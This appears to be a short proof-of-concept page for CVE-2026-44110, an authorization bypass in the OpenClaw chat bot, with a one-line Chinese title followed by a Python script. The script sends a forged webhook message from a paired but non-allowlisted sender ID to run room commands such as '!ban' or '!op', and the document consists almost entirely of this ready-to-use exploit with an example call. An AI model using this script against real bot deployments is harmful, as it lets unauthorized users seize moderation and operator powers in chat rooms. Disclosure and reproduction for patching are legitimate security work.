CVE-2026-44110 OpenClaw授权绕过漏洞

# Proof of Concept for CVE-2026-44110 # This script demonstrates how an attacker with a paired sender ID # can execute commands in a room without being in the allowlist. import requests def exploit_openclaw(bot_webhook_url, command): """ Exploit the authorization bypass vulnerability. :param bot_webhook_url: The API endpoint or simulated message trigger :param command: Command to execute (e.g., "!ban @user") """ headers = {'Content-Type': 'application/json'} payload = { "sender_id": "@attacker:example.com", # ID present in pairing-store "room_id": "!targetRoom:example.com", "body": command } try: response = requests.post(bot_webhook_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Command '{command}' executed successfully.") else: print(f"[-] Failed to execute command.") except Exception as e: print(f"Error: {e}") # Example usage # exploit_openclaw("http://openclaw-bot/api/message", "!op")